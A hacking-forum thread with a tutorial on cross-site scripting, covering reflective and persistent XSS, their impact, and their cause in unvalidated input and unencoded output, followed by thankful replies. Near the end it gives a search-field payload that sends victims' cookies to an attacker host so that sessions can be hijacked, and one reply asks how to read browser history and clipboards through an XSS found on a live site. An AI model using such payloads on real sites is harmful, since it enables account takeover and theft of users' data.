

# Forum:[Hack Forums](#)

Thread: [Tutorial: Learn About XSS Vulnerabilities, XSS Injections and How to Prevent XSS](#)

Mirsad - August 18, 2013, 10:20 am

## XSS - What is Cross-Site Scripting?

Cross-Site Scripting (also known as XSS) is one of the most common application-layer web attacks. XSS vulnerabilities target scripts embedded in a page which are executed on the client-side (in the user's web browser) rather than on the server-side. XSS in itself is a threat which is brought about by the internet security weaknesses of client-side scripting languages such as HTML and JavaScript. The concept of XSS is to manipulate client-side scripts of a web application to execute in the manner desired by the malicious user. Such a manipulation can embed a script in a page which can be executed every time the page is loaded, or whenever an associated event is performed.

XSS is the most common security vulnerability in software today. This should not be the case as XSS is easy to find and easy to fix. XSS vulnerabilities can have consequences such as tampering and sensitive data theft

### Key Concepts of XSS

- \* XSS is a Web-based attack performed on vulnerable Web applications
- \* In XSS attacks, the victim is the user and not the application
- \* In XSS attacks, malicious content is delivered to users using JavaScript

### Explaining Cross-Site Scripting

An XSS vulnerability arises when Web applications take data from users and dynamically include it in Web pages without first properly validating the data. XSS vulnerabilities allow an attacker to execute arbitrary commands and display arbitrary content in a victim user's browser. A successful XSS attack leads to an attacker controlling the victim's browser or account on the vulnerable Web application. Although XSS is enabled by vulnerable pages in a Web application, the victims of an XSS attack are the application's users, not the application itself. The potency of an XSS vulnerability lies in the fact that the malicious code executes in the context of the victim's session, allowing the attacker to bypass normal security restrictions.

### Cross-Site Scripting Video

[Video: <http://www.youtube.com/watch?v=t161cahMAZc>]

### XSS Attack Examples

#### Reflective XSS

There are many ways in which an attacker can entice a victim into initiating a reflective XSS request. For example, the attacker could send the victim a misleading email with a link containing malicious JavaScript. If the victim clicks on the link, the HTTP request is initiated from the victim's browser and sent to the vulnerable Web application. The malicious JavaScript is then reflected back to the victim's browser, where it is executed in the context of the victim user's session.

[img]<http://www.veracode.com/images/media/xss/xss-example-1.gif>[/img]

## Persistent XSS

Consider a Web application that allows users to enter a user name which is displayed on each user's profile page. The application stores each user name in a local database. A malicious user notices that the Web application fails to sanitize the user name field and inputs malicious JavaScript code as part of their user name. When other users view the attacker's profile page, the malicious code automatically executes in the context of their session.

[img]http://www.veracode.com/images/media/xss/xss-example-2.gif[/img]

## Impact of Cross-Site Scripting

When attackers succeed in exploiting XSS vulnerabilities, they can gain access to account credentials. They can also spread Web worms or access the user's computer and view the user's browser history or control the browser remotely. After gaining control to the victim's system, attackers can also analyze and use other intranet applications.

By exploiting XSS vulnerabilities, an attacker can perform malicious actions, such as:

- \* Hijack an account
- \* Spread Web worms
- \* Access browser history and clipboard contents
- \* Control the browser remotely
- \* Scan and exploit internet appliances and applications

## Identifying Cross-Site Scripting Vulnerabilities

XSS vulnerabilities may occur if:

- \* Input coming into Web applications is not validated
- \* Output to the browser is not HTML encoded

## XSS Example

Example 1.

For example, the HTML snippet:

```
<title>Example document: %(title)</title>
```

is intended to illustrate a template snippet that, if the variable title has value Cross-Site Scripting, results in the following HTML to be emitted to the browser:

```
<title>Example document: XSS Doc</title>
```

A site containing a search field does not have the proper input sanitizing. By crafting a search query looking something like this:

```
"><SCRIPT>var+img=new+Image();img.src="http://hacker/"+"%20+%20document.cookie;</SCRIPT>
```

Sitting on the other end, at the Webserver, you will be receiving hits where after a double space is the users cookie. You might strike lucky if an administrator clicks the link, allowing you to steal their sessionID and hijack the session.

Comment and rate. Thanks for reading.

Bat™ - August 18, 2013, 10:21 am

Nice tut bro keep it up.

Should help the new comers.  
GL :)

**Mirsad** - August 18, 2013, 10:26 am

(Aug 18, 2013 10:21 AM)Sheldon™ Wrote: [\[CITE\]](#) Nice tut bro keep it up.  
Should help the new comers.  
GL :)  
Thanks for the feedback sir, and yes i hope so.

**Code X Hunter** - February 9, 2016, 2:22 pm

Nice Post bro (y) Keep Sharing my bro :D

**iMirXa™** - February 17, 2016, 3:42 pm

Good Information!

Thank you very much.

**SIM-2988035** - February 28, 2016, 10:31 am

It helped me a lot to understand what an XSS is and how it works. Thanks a lot bro <3

**blankhack** - March 3, 2016, 6:44 pm

very concept of XSS. I knew how xss works after your post. Thank you very much

**DrWillieam** - September 24, 2016, 2:39 pm

Already knew a bit about XSS. Very nice wrap up!

**hmdxxx** - March 9, 2017, 11:49 am

Hi. i found a Reflective XSS in a website. how can i access browser history and clipboard contents?

**MackyNous** - March 10, 2017, 2:21 am

Nice tutorial bro,

love to see more

**mh123hack** - March 10, 2017, 6:23 am

nice tutorial ik hope to see more

**Hopsin** - March 12, 2017, 4:11 am

(Mar 10, 2017 07:23 AM)mh123hack Wrote: [\[CITE\]](#) nice tutorial ik hope to see more  
You won't see more from the OP since he is closed/banned therefor cannot join HF again. Have a nice day ?